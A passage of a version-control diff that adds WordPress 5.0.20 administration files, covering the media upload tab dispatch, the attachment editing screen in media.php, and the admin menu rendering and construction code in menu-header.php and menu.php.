+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $type The default media popup tab. Default 'type' (From Computer).
+	 */
+	$tab = apply_filters( 'media_upload_default_tab', 'type' );
+}
+
+$body_id = 'media-upload';
+
+// Let the action code decide how to handle the request.
+if ( $tab == 'type' || $tab == 'type_url' || ! array_key_exists( $tab , media_upload_tabs() ) ) {
+	/**
+	 * Fires inside specific upload-type views in the legacy (pre-3.5.0)
+	 * media popup based on the current tab.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the specific
+	 * media upload type. Possible values include 'image', 'audio', 'video',
+	 * 'file', etc.
+	 *
+	 * The hook only fires if the current `$tab` is 'type' (From Computer),
+	 * 'type_url' (From URL), or, if the tab does not exist (i.e., has not
+	 * been registered via the {@see 'media_upload_tabs'} filter.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( "media_upload_{$type}" );
+} else {
+	/**
+	 * Fires inside limited and specific upload-tab views in the legacy
+	 * (pre-3.5.0) media popup.
+	 *
+	 * The dynamic portion of the hook name, `$tab`, refers to the specific
+	 * media upload tab. Possible values include 'library' (Media Library),
+	 * or any custom tab registered via the {@see 'media_upload_tabs'} filter.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( "media_upload_{$tab}" );
+}
+
Index: /tags/5.0.20/src/wp-admin/media.php
===================================================================
--- /tags/5.0.20/src/wp-admin/media.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/media.php	(revision 56912)
@@ -0,0 +1,149 @@
+<?php
+/**
+ * Media management action handler.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$parent_file = 'upload.php';
+$submenu_file = 'upload.php';
+
+wp_reset_vars(array('action'));
+
+switch ( $action ) {
+case 'editattachment' :
+	$attachment_id = (int) $_POST['attachment_id'];
+	check_admin_referer('media-form');
+
+	if ( !current_user_can('edit_post', $attachment_id) )
+		wp_die ( __('Sorry, you are not allowed to edit this attachment.') );
+
+	$errors = media_upload_form_handler();
+
+	if ( empty($errors) ) {
+		$location = 'media.php';
+		if ( $referer = wp_get_original_referer() ) {
+			if ( false !== strpos($referer, 'upload.php') || ( url_to_postid($referer) == $attachment_id )  )
+				$location = $referer;
+		}
+		if ( false !== strpos($location, 'upload.php') ) {
+			$location = remove_query_arg('message', $location);
+			$location = add_query_arg('posted',	$attachment_id, $location);
+		} elseif ( false !== strpos($location, 'media.php') ) {
+			$location = add_query_arg('message', 'updated', $location);
+		}
+		wp_redirect($location);
+		exit;
+	}
+
+	// No break.
+case 'edit' :
+	$title = __('Edit Media');
+
+	if ( empty($errors) )
+		$errors = null;
+
+	if ( empty( $_GET['attachment_id'] ) ) {
+		wp_redirect( admin_url('upload.php') );
+		exit();
+	}
+	$att_id = (int) $_GET['attachment_id'];
+
+	if ( !current_user_can('edit_post', $att_id) )
+		wp_die ( __('Sorry, you are not allowed to edit this attachment.') );
+
+	$att = get_post($att_id);
+
+	if ( empty($att->ID) ) wp_die( __('You attempted to edit an attachment that doesn&#8217;t exist. Perhaps it was deleted?') );
+	if ( 'attachment' !== $att->post_type ) wp_die( __('You attempted to edit an item that isn&#8217;t an attachment. Please go back and try again.') );
+	if ( $att->post_status == 'trash' ) wp_die( __('You can&#8217;t edit this attachment because it is in the Trash. Please move it out of the Trash and try again.') );
+
+	add_filter('attachment_fields_to_edit', 'media_single_attachment_fields_to_edit', 10, 2);
+
+	wp_enqueue_script( 'wp-ajax-response' );
+	wp_enqueue_script('image-edit');
+	wp_enqueue_style('imgareaselect');
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('This screen allows you to edit five fields for metadata in a file within the media library.') . '</p>' .
+			'<p>' . __('For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.') . '</p>' .
+			'<p>' . __('Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.') . '</p>' .
+			'<p>' . __('Remember to click Update Media to save metadata entered or changed.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Media_Add_New_Screen#Edit_Media">Documentation on Edit Media</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+
+	require( ABSPATH . 'wp-admin/admin-header.php' );
+
+	$parent_file = 'upload.php';
+	$message = '';
+	$class = '';
+	if ( isset($_GET['message']) ) {
+		switch ( $_GET['message'] ) {
+			case 'updated' :
+				$message = __('Media file updated.');
+				$class = 'updated';
+				break;
+		}
+	}
+	if ( $message )
+		echo "<div id='message' class='$class'><p>$message</p></div>\n";
+
+?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( current_user_can( 'upload_files' ) ) { ?>
+	<a href="media-new.php" class="page-title-action"><?php echo esc_html_x('Add New', 'file'); ?></a>
+<?php } ?>
+
+<hr class="wp-header-end">
+
+<form method="post" class="media-upload-form" id="media-single-form">
+<p class="submit" style="padding-bottom: 0;">
+<?php submit_button( __( 'Update Media' ), 'primary', 'save', false ); ?>
+</p>
+
+<div class="media-single">
+<div id="media-item-<?php echo $att_id; ?>" class="media-item">
+<?php echo get_media_item( $att_id, array( 'toggle' => false, 'send' => false, 'delete' => false, 'show_title' => false, 'errors' => !empty($errors[$att_id]) ? $errors[$att_id] : null ) ); ?>
+</div>
+</div>
+
+<?php submit_button( __( 'Update Media' ), 'primary', 'save' ); ?>
+<input type="hidden" name="post_id" id="post_id" value="<?php echo isset($post_id) ? esc_attr($post_id) : ''; ?>" />
+<input type="hidden" name="attachment_id" id="attachment_id" value="<?php echo esc_attr($att_id); ?>" />
+<input type="hidden" name="action" value="editattachment" />
+<?php wp_original_referer_field(true, 'previous'); ?>
+<?php wp_nonce_field('media-form'); ?>
+
+</form>
+
+</div>
+
+<?php
+
+	require( ABSPATH . 'wp-admin/admin-footer.php' );
+
+	exit;
+
+default:
+	wp_redirect( admin_url('upload.php') );
+	exit;
+
+}
Index: /tags/5.0.20/src/wp-admin/menu-header.php
===================================================================
--- /tags/5.0.20/src/wp-admin/menu-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/menu-header.php	(revision 56912)
@@ -0,0 +1,275 @@
+<?php
+/**
+ * Displays Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The current page.
+ *
+ * @global string $self
+ */
+$self = preg_replace('|^.*/wp-admin/network/|i', '', $_SERVER['PHP_SELF']);
+$self = preg_replace('|^.*/wp-admin/|i', '', $self);
+$self = preg_replace('|^.*/plugins/|i', '', $self);
+$self = preg_replace('|^.*/mu-plugins/|i', '', $self);
+
+/**
+ * For when admin-header is included from within a function.
+ *
+ * @global array  $menu
+ * @global array  $submenu
+ * @global string $parent_file
+ * @global string $submenu_file
+ */
+global $menu, $submenu, $parent_file, $submenu_file;
+
+/**
+ * Filters the parent file of an admin menu sub-menu item.
+ *
+ * Allows plugins to move sub-menu items around.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param string $parent_file The parent file.
+ */
+$parent_file = apply_filters( 'parent_file', $parent_file );
+
+/**
+ * Filters the file of an admin menu sub-menu item.
+ *
+ * @since 4.4.0
+ *
+ * @param string $submenu_file The submenu file.
+ * @param string $parent_file  The submenu item's parent file.
+ */
+$submenu_file = apply_filters( 'submenu_file', $submenu_file, $parent_file );
+
+get_admin_page_parent();
+
+/**
+ * Display menu.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @global string $self
+ * @global string $parent_file
+ * @global string $submenu_file
+ * @global string $plugin_page
+ * @global string $typenow
+ *
+ * @param array $menu
+ * @param array $submenu
+ * @param bool  $submenu_as_parent
+ */
+function _wp_menu_output( $menu, $submenu, $submenu_as_parent = true ) {
+	global $self, $parent_file, $submenu_file, $plugin_page, $typenow;
+
+	$first = true;
+	// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes, 5 = hookname, 6 = icon_url
+	foreach ( $menu as $key => $item ) {
+		$admin_is_parent = false;
+		$class = array();
+		$aria_attributes = '';
+		$aria_hidden = '';
+		$is_separator = false;
+
+		if ( $first ) {
+			$class[] = 'wp-first-item';
+			$first = false;
+		}
+
+		$submenu_items = array();
+		if ( ! empty( $submenu[$item[2]] ) ) {
+			$class[] = 'wp-has-submenu';
+			$submenu_items = $submenu[$item[2]];
+		}
+
+		if ( ( $parent_file && $item[2] == $parent_file ) || ( empty($typenow) && $self == $item[2] ) ) {
+			if ( ! empty( $submenu_items ) ) {
+				$class[] = 'wp-has-current-submenu wp-menu-open';
+			} else {
+				$class[] = 'current';
+				$aria_attributes .= 'aria-current="page"';
+			}
+		} else {
+			$class[] = 'wp-not-current-submenu';
+			if ( ! empty( $submenu_items ) )
+				$aria_attributes .= 'aria-haspopup="true"';
+		}
+
+		if ( ! empty( $item[4] ) )
+			$class[] = esc_attr( $item[4] );
+
+		$class = $class ? ' class="' . join( ' ', $class ) . '"' : '';
+		$id = ! empty( $item[5] ) ? ' id="' . preg_replace( '|[^a-zA-Z0-9_:.]|', '-', $item[5] ) . '"' : '';
+		$img = $img_style = '';
+		$img_class = ' dashicons-before';
+
+		if ( false !== strpos( $class, 'wp-menu-separator' ) ) {
+			$is_separator = true;
+		}
+
+		/*
+		 * If the string 'none' (previously 'div') is passed instead of a URL, don't output
+		 * the default menu image so an icon can be added to div.wp-menu-image as background
+		 * with CSS. Dashicons and base64-encoded data:image/svg_xml URIs are also handled
+		 * as special cases.
+		 */
+		if ( ! empty( $item[6] ) ) {
+			$img = '<img src="' . $item[6] . '" alt="" />';
+
+			if ( 'none' === $item[6] || 'div' === $item[6] ) {
+				$img = '<br />';
+			} elseif ( 0 === strpos( $item[6], 'data:image/svg+xml;base64,' ) ) {
+				$img = '<br />';
+				$img_style = ' style="background-image:url(\'' . esc_attr( $item[6] ) . '\')"';
+				$img_class = ' svg';
+			} elseif ( 0 === strpos( $item[6], 'dashicons-' ) ) {
+				$img = '<br />';
+				$img_class = ' dashicons-before ' . sanitize_html_class( $item[6] );
+			}
+		}
+		$arrow = '<div class="wp-menu-arrow"><div></div></div>';
+
+		$title = wptexturize( $item[0] );
+
+		// hide separators from screen readers
+		if ( $is_separator ) {
+			$aria_hidden = ' aria-hidden="true"';
+		}
+
+		echo "\n\t<li$class$id$aria_hidden>";
+
+		if ( $is_separator ) {
+			echo '<div class="separator"></div>';
+		} elseif ( $submenu_as_parent && ! empty( $submenu_items ) ) {
+			$submenu_items = array_values( $submenu_items );  // Re-index.
+			$menu_hook = get_plugin_page_hook( $submenu_items[0][2], $item[2] );
+			$menu_file = $submenu_items[0][2];
+			if ( false !== ( $pos = strpos( $menu_file, '?' ) ) )
+				$menu_file = substr( $menu_file, 0, $pos );
+			if ( ! empty( $menu_hook ) || ( ( 'index.php' != $submenu_items[0][2] ) && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) ) ) {
+				$admin_is_parent = true;
+				echo "<a href='admin.php?page={$submenu_items[0][2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>$title</div></a>";
+			} else {
+				echo "\n\t<a href='{$submenu_items[0][2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>$title</div></a>";
+			}
+		} elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) {
+			$menu_hook = get_plugin_page_hook( $item[2], 'admin.php' );
+			$menu_file = $item[2];
+			if ( false !== ( $pos = strpos( $menu_file, '?' ) ) )
+				$menu_file = substr( $menu_file, 0, $pos );
+			if ( ! empty( $menu_hook ) || ( ( 'index.php' != $item[2] ) && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) ) ) {
+				$admin_is_parent = true;
+				echo "\n\t<a href='admin.php?page={$item[2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>";
+			} else {
+				echo "\n\t<a href='{$item[2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>";
+			}
+		}
+
+		if ( ! empty( $submenu_items ) ) {
+			echo "\n\t<ul class='wp-submenu wp-submenu-wrap'>";
+			echo "<li class='wp-submenu-head' aria-hidden='true'>{$item[0]}</li>";
+
+			$first = true;
+
+			// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes
+			foreach ( $submenu_items as $sub_key => $sub_item ) {
+				if ( ! current_user_can( $sub_item[1] ) )
+					continue;
+
+				$class = array();
+				$aria_attributes = '';
+				if ( $first ) {
+					$class[] = 'wp-first-item';
+					$first = false;
+				}
+
+				$menu_file = $item[2];
+
+				if ( false !== ( $pos = strpos( $menu_file, '?' ) ) )
+					$menu_file = substr( $menu_file, 0, $pos );
+
+				// Handle current for post_type=post|page|foo pages, which won't match $self.
+				$self_type = ! empty( $typenow ) ? $self . '?post_type=' . $typenow : 'nothing';
+
+				if ( isset( $submenu_file ) ) {
+					if ( $submenu_file == $sub_item[2] ) {
+						$class[] = 'current';
+						$aria_attributes .= ' aria-current="page"';
+					}
+				// If plugin_page is set the parent must either match the current page or not physically exist.
+				// This allows plugin pages with the same hook to exist under different parents.
+				} elseif (
+					( ! isset( $plugin_page ) && $self == $sub_item[2] ) ||
+					( isset( $plugin_page ) && $plugin_page == $sub_item[2] && ( $item[2] == $self_type || $item[2] == $self || file_exists($menu_file) === false ) )
+				) {
+					$class[] = 'current';
+					$aria_attributes .= ' aria-current="page"';
+				}
+
+				if ( ! empty( $sub_item[4] ) ) {
+					$class[] = esc_attr( $sub_item[4] );
+				}
+
+				$class = $class ? ' class="' . join( ' ', $class ) . '"' : '';
+
+				$menu_hook = get_plugin_page_hook($sub_item[2], $item[2]);
+				$sub_file = $sub_item[2];
+				if ( false !== ( $pos = strpos( $sub_file, '?' ) ) )
+					$sub_file = substr($sub_file, 0, $pos);
+
+				$title = wptexturize($sub_item[0]);
+
+				if ( ! empty( $menu_hook ) || ( ( 'index.php' != $sub_item[2] ) && file_exists( WP_PLUGIN_DIR . "/$sub_file" ) && ! file_exists( ABSPATH . "/wp-admin/$sub_file" ) ) ) {
+					// If admin.php is the current page or if the parent exists as a file in the plugins or admin dir
+					if ( ( ! $admin_is_parent && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! is_dir( WP_PLUGIN_DIR . "/{$item[2]}" ) ) || file_exists( $menu_file ) )
+						$sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), $item[2] );
+					else
+						$sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), 'admin.php' );
+
+					$sub_item_url = esc_url( $sub_item_url );
+					echo "<li$class><a href='$sub_item_url'$class$aria_attributes>$title</a></li>";
+				} else {
+					echo "<li$class><a href='{$sub_item[2]}'$class$aria_attributes>$title</a></li>";
+				}
+			}
+			echo "</ul>";
+		}
+		echo "</li>";
+	}
+
+	echo '<li id="collapse-menu" class="hide-if-no-js">' .
+		'<button type="button" id="collapse-button" aria-label="' . esc_attr__( 'Collapse Main menu' ) . '" aria-expanded="true">' .
+		'<span class="collapse-button-icon" aria-hidden="true"></span>' .
+		'<span class="collapse-button-label">' . __( 'Collapse menu' ) . '</span>' .
+		'</button></li>';
+}
+
+?>
+
+<div id="adminmenumain" role="navigation" aria-label="<?php esc_attr_e( 'Main menu' ); ?>">
+<a href="#wpbody-content" class="screen-reader-shortcut"><?php _e( 'Skip to main content' ); ?></a>
+<a href="#wp-toolbar" class="screen-reader-shortcut"><?php _e( 'Skip to toolbar' ); ?></a>
+<div id="adminmenuback"></div>
+<div id="adminmenuwrap">
+<ul id="adminmenu">
+
+<?php
+
+_wp_menu_output( $menu, $submenu );
+/**
+ * Fires after the admin menu has been output.
+ *
+ * @since 2.5.0
+ */
+do_action( 'adminmenu' );
+
+?>
+</ul>
+</div>
+</div>
Index: /tags/5.0.20/src/wp-admin/menu.php
===================================================================
--- /tags/5.0.20/src/wp-admin/menu.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/menu.php	(revision 56912)
@@ -0,0 +1,294 @@
+<?php
+/**
+ * Build Administration Menu.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Constructs the admin menu.
+ *
+ * The elements in the array are :
+ *     0: Menu item name
+ *     1: Minimum level or capability required.
+ *     2: The URL of the item's file
+ *     3: Class
+ *     4: ID
+ *     5: Icon for top level menu
+ *
+ * @global array $menu
+ */
+
+$menu[2] = array( __('Dashboard'), 'read', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );
+
+$submenu[ 'index.php' ][0] = array( __('Home'), 'read', 'index.php' );
+
+if ( is_multisite() ) {
+	$submenu[ 'index.php' ][5] = array( __('My Sites'), 'read', 'my-sites.php' );
+}
+
+if ( ! is_multisite() || current_user_can( 'update_core' ) ) {
+	$update_data = wp_get_update_data();
+}
+
+if ( ! is_multisite() ) {
+	if ( current_user_can( 'update_core' ) ) {
+		$cap = 'update_core';
+	} elseif ( current_user_can( 'update_plugins' ) ) {
+		$cap = 'update_plugins';
+	} elseif ( current_user_can( 'update_themes' ) ) {
+		$cap = 'update_themes';
+	} else {
+		$cap = 'update_languages';
+	}
+	$submenu[ 'index.php' ][10] = array( sprintf( __('Updates %s'), "<span class='update-plugins count-{$update_data['counts']['total']}'><span class='update-count'>" . number_format_i18n($update_data['counts']['total']) . "</span></span>" ), $cap, 'update-core.php');
+	unset( $cap );
+}
+
+$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );
+
+// $menu[5] = Posts
+
+$menu[10] = array( __('Media'), 'upload_files', 'upload.php', '', 'menu-top menu-icon-media', 'menu-media', 'dashicons-admin-media' );
+	$submenu['upload.php'][5] = array( __('Library'), 'upload_files', 'upload.php');
+	/* translators: add new file */
+	$submenu['upload.php'][10] = array( _x('Add New', 'file'), 'upload_files', 'media-new.php');
+	$i = 15;
+	foreach ( get_taxonomies_for_attachments( 'objects' ) as $tax ) {
+		if ( ! $tax->show_ui || ! $tax->show_in_menu )
+			continue;
+
+		$submenu['upload.php'][$i++] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, 'edit-tags.php?taxonomy=' . $tax->name . '&amp;post_type=attachment' );
+	}
+	unset( $tax, $i );
+
+$menu[15] = array( __('Links'), 'manage_links', 'link-manager.php', '', 'menu-top menu-icon-links', 'menu-links', 'dashicons-admin-links' );
+	$submenu['link-manager.php'][5] = array( _x('All Links', 'admin menu'), 'manage_links', 'link-manager.php' );
+	/* translators: add new links */
+	$submenu['link-manager.php'][10] = array( _x('Add New', 'link'), 'manage_links', 'link-add.php' );
+	$submenu['link-manager.php'][15] = array( __('Link Categories'), 'manage_categories', 'edit-tags.php?taxonomy=link_category' );
+
+// $menu[20] = Pages
+
+// Avoid the comment count query for users who cannot edit_posts.
+if ( current_user_can( 'edit_posts' ) ) {
+	$awaiting_mod = wp_count_comments();
+	$awaiting_mod = $awaiting_mod->moderated;
+	$menu[25] = array(
+		sprintf( __( 'Comments %s' ), '<span class="awaiting-mod count-' . absint( $awaiting_mod ) . '"><span class="pending-count">' . number_format_i18n( $awaiting_mod ) . '</span></span>' ),
+		'edit_posts',
+		'edit-comments.php',
+		'',
+		'menu-top menu-icon-comments',
+		'menu-comments',
+		'dashicons-admin-comments',
+	);
+	unset( $awaiting_mod );
+}
+
+$submenu[ 'edit-comments.php' ][0] = array( __('All Comments'), 'edit_posts', 'edit-comments.php' );
+
+$_wp_last_object_menu = 25; // The index of the last top-level menu in the object menu group
+
+$types = (array) get_post_types( array('show_ui' => true, '_builtin' => false, 'show_in_menu' => true ) );
+$builtin = array( 'post', 'page' );
+foreach ( array_merge( $builtin, $types ) as $ptype ) {
+	$ptype_obj = get_post_type_object( $ptype );
+	// Check if it should be a submenu.
+	if ( $ptype_obj->show_in_menu !== true )
+		continue;
+	$ptype_menu_position = is_int( $ptype_obj->menu_position ) ? $ptype_obj->menu_position : ++$_wp_last_object_menu; // If we're to use $_wp_last_object_menu, increment it first.
+	$ptype_for_id = sanitize_html_class( $ptype );
+
+	$menu_icon = 'dashicons-admin-post';
+	if ( is_string( $ptype_obj->menu_icon ) ) {
+		// Special handling for data:image/svg+xml and Dashicons.
+		if ( 0 === strpos( $ptype_obj->menu_icon, 'data:image/svg+xml;base64,' ) || 0 === strpos( $ptype_obj->menu_icon, 'dashicons-' ) ) {
+			$menu_icon = $ptype_obj->menu_icon;
+		} else {
+			$menu_icon = esc_url( $ptype_obj->menu_icon );
+		}
+	} elseif ( in_array( $ptype, $builtin ) ) {
+		$menu_icon = 'dashicons-admin-' . $ptype;
+	}
+
+	$menu_class = 'menu-top menu-icon-' . $ptype_for_id;
+	// 'post' special case
+	if ( 'post' === $ptype ) {
+		$menu_class .= ' open-if-no-js';
+		$ptype_file = "edit.php";
+		$post_new_file = "post-new.php";
+		$edit_tags_file = "edit-tags.php?taxonomy=%s";
+	} else {
+		$ptype_file = "edit.php?post_type=$ptype";
+		$post_new_file = "post-new.php?post_type=$ptype";
+		$edit_tags_file = "edit-tags.php?taxonomy=%s&amp;post_type=$ptype";
+	}
+
+	if ( in_array( $ptype, $builtin ) ) {
+		$ptype_menu_id = 'menu-' . $ptype_for_id . 's';
+	} else {
+		$ptype_menu_id = 'menu-posts-' . $ptype_for_id;
+	}
+	/*
+	 * If $ptype_menu_position is already populated or will be populated
+	 * by a hard-coded value below, increment the position.
+	 */
+	$core_menu_positions = array(59, 60, 65, 70, 75, 80, 85, 99);
+	while ( isset($menu[$ptype_menu_position]) || in_array($ptype_menu_position, $core_menu_positions) )
+		$ptype_menu_position++;
+
+	$menu[$ptype_menu_position] = array( esc_attr( $ptype_obj->labels->menu_name ), $ptype_obj->cap->edit_posts, $ptype_file, '', $menu_class, $ptype_menu_id, $menu_icon );
+	$submenu[ $ptype_file ][5]  = array( $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts,  $ptype_file );
+	$submenu[ $ptype_file ][10]  = array( $ptype_obj->labels->add_new, $ptype_obj->cap->create_posts, $post_new_file );
+
+	$i = 15;
+	foreach ( get_taxonomies( array(), 'objects' ) as $tax ) {
+		if ( ! $tax->show_ui || ! $tax->show_in_menu || ! in_array($ptype, (array) $tax->object_type, true) )
+			continue;
+
+		$submenu[ $ptype_file ][$i++] = array( esc_attr( $tax->labels->menu_name ), $tax->cap->manage_terms, sprintf( $edit_tags_file, $tax->name ) );
+	}
+}
+unset( $ptype, $ptype_obj, $ptype_for_id, $ptype_menu_position, $menu_icon, $i, $tax, $post_new_file );
+
+$menu[59] = array( '', 'read', 'separator2', '', 'wp-menu-separator' );
+
+$appearance_cap = current_user_can( 'switch_themes') ? 'switch_themes' : 'edit_theme_options';
+
+$menu[60] = array( __( 'Appearance' ), $appearance_cap, 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
+	$submenu['themes.php'][5] = array( __( 'Themes' ), $appearance_cap, 'themes.php' );
+
+	$customize_url = add_query_arg( 'return', urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), 'customize.php' );
+	$submenu['themes.php'][6] = array( __( 'Customize' ), 'customize', esc_url( $customize_url ), '', 'hide-if-no-customize' );
+
+	if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) {
+		$submenu['themes.php'][10] = array( __( 'Menus' ), 'edit_theme_options', 'nav-menus.php' );
+	}
+
+	if ( current_theme_supports( 'custom-header' ) && current_user_can( 'customize') ) {
+		$customize_header_url = add_query_arg( array( 'autofocus' => array( 'control' => 'header_image' ) ), $customize_url );
+		$submenu['themes.php'][15] = array( __( 'Header' ), $appearance_cap, esc_url( $customize_header_url ), '', 'hide-if-no-customize' );
+	}
+
+	if ( current_theme_supports( 'custom-background' ) && current_user_can( 'customize') ) {
+		$customize_background_url = add_query_arg( array( 'autofocus' => array( 'control' => 'background_image' ) ), $customize_url );
+		$submenu['themes.php'][20] = array( __( 'Background' ), $appearance_cap, esc_url( $customize_background_url ), '', 'hide-if-no-customize' );
+	}
+
+	unset( $customize_url );
+
+unset( $appearance_cap );
+
+// Add 'Editor' to the bottom of the Appearance menu.
+if ( ! is_multisite() ) {
+	add_action('admin_menu', '_add_themes_utility_last', 101);
+}
+/**
+ * Adds the (theme) 'Editor' link to the bottom of the Appearance menu.
+ *
+ * @access private
+ * @since 3.0.0
+ */
+function _add_themes_utility_last() {
+	// Must use API on the admin_menu hook, direct modification is only possible on/before the _admin_menu hook
+	add_submenu_page('themes.php', _x('Editor', 'theme editor'), _x('Editor', 'theme editor'), 'edit_themes', 'theme-editor.php');
+}
+
+$count = '';
+if ( ! is_multisite() && current_user_can( 'update_plugins' ) ) {
+	if ( ! isset( $update_data ) )
+		$update_data = wp_get_update_data();
+	$count = "<span class='update-plugins count-{$update_data['counts']['plugins']}'><span class='plugin-count'>" . number_format_i18n($update_data['counts']['plugins']) . "</span></span>";
+}
+
+$menu[65] = array( sprintf( __('Plugins %s'), $count ), 'activate_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
+
+$submenu['plugins.php'][5]  = array( __('Installed Plugins'), 'activate_plugins', 'plugins.php' );
+
+	if ( ! is_multisite() ) {
+		/* translators: add new plugin */
+		$submenu['plugins.php'][10] = array( _x('Add New', 'plugin'), 'install_plugins', 'plugin-install.php' );
+		$submenu['plugins.php'][15] = array( _x('Editor', 'plugin editor'), 'edit_plugins', 'plugin-editor.php' );
+	}
+
+unset( $update_data );
+
+if ( current_user_can('list_users') )
+	$menu[70] = array( __('Users'), 'list_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
+else
+	$menu[70] = array( __('Profile'), 'read', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
+
+if ( current_user_can('list_users') ) {
+	$_wp_real_parent_file['profile.php'] = 'users.php'; // Back-compat for plugins adding submenus to profile.php.
+	$submenu['users.php'][5] = array(__('All Users'), 'list_users', 'users.php');
+	if ( current_user_can( 'create_users' ) ) {
+		$submenu['users.php'][10] = array(_x('Add New', 'user'), 'create_users', 'user-new.php');
+	} elseif ( is_multisite() ) {
+		$submenu['users.php'][10] = array(_x('Add New', 'user'), 'promote_users', 'user-new.php');
+	}
+
+	$submenu['users.php'][15] = array(__('Your Profile'), 'read', 'profile.php');
+} else {
+	$_wp_real_parent_file['users.php'] = 'profile.php';
+	$submenu['profile.php'][5] = array(__('Your Profile'), 'read', 'profile.php');
+	if ( current_user_can( 'create_users' ) ) {
+		$submenu['profile.php'][10] = array(__('Add New User'), 'create_users', 'user-new.php');
+	} elseif ( is_multisite() ) {
+		$submenu['profile.php'][10] = array(__('Add New User'), 'promote_users', 'user-new.php');
+	}
+}
+
+$menu[75] = array( __('Tools'), 'edit_posts', 'tools.php', '', 'menu-top menu-icon-tools', 'menu-tools', 'dashicons-admin-tools' );
+	$submenu['tools.php'][5] = array( __('Available Tools'), 'edit_posts', 'tools.php' );
+	$submenu['tools.php'][10] = array( __('Import'), 'import', 'import.php' );
+	$submenu['tools.php'][15] = array( __('Export'), 'export', 'export.php' );
+	if ( is_multisite() && !is_main_site() )
+		$submenu['tools.php'][25] = array( __('Delete Site'), 'delete_site', 'ms-delete-site.php' );
+	if ( ! is_multisite() && defined('WP_ALLOW_MULTISITE') && WP_ALLOW_MULTISITE )
+		$submenu['tools.php'][50] = array(__('Network Setup'), 'setup_network', 'network.php');
+
+$change_notice = '';
+if ( current_user_can( 'manage_privacy_options' ) && WP_Privacy_Policy_Content::text_change_check() ) {
+	$change_notice = ' <span class="update-plugins 1"><span class="plugin-count">' . number_format_i18n( 1 ) . '</span></span>';
+}
+
+// translators: %s is the update notification bubble, if updates are available.
+$menu[80]                               = array( sprintf( __( 'Settings %s' ), $change_notice ), 'manage_options', 'options-general.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
+	$submenu['options-general.php'][10] = array( _x( 'General', 'settings screen' ), 'manage_options', 'options-general.php' );
+	$submenu['options-general.php'][15] = array( __( 'Writing' ), 'manage_options', 'options-writing.php' );
+	$submenu['options-general.php'][20] = array( __( 'Reading' ), 'manage_options', 'options-reading.php' );
+	$submenu['options-general.php'][25] = array( __( 'Discussion' ), 'manage_options', 'options-discussion.php' );
+	$submenu['options-general.php'][30] = array( __( 'Media' ), 'manage_options', 'options-media.php' );
+	$submenu['options-general.php'][40] = array( __( 'Permalinks' ), 'manage_options', 'options-permalink.php' );
+	// translators: %s is the update notification bubble, if updates are available.
+	$submenu['options-general.php'][45] = array( sprintf( __( 'Privacy %s' ), $change_notice ), 'manage_privacy_options', 'privacy.php' );
+
+$_wp_last_utility_menu = 80; // The index of the last top-level menu in the utility menu group
+
+$menu[99] = array( '', 'read', 'separator-last', '', 'wp-menu-separator' );
+
+// Back-compat for old top-levels
+$_wp_real_parent_file['post.php'] = 'edit.php';
+$_wp_real_parent_file['post-new.php'] = 'edit.php';
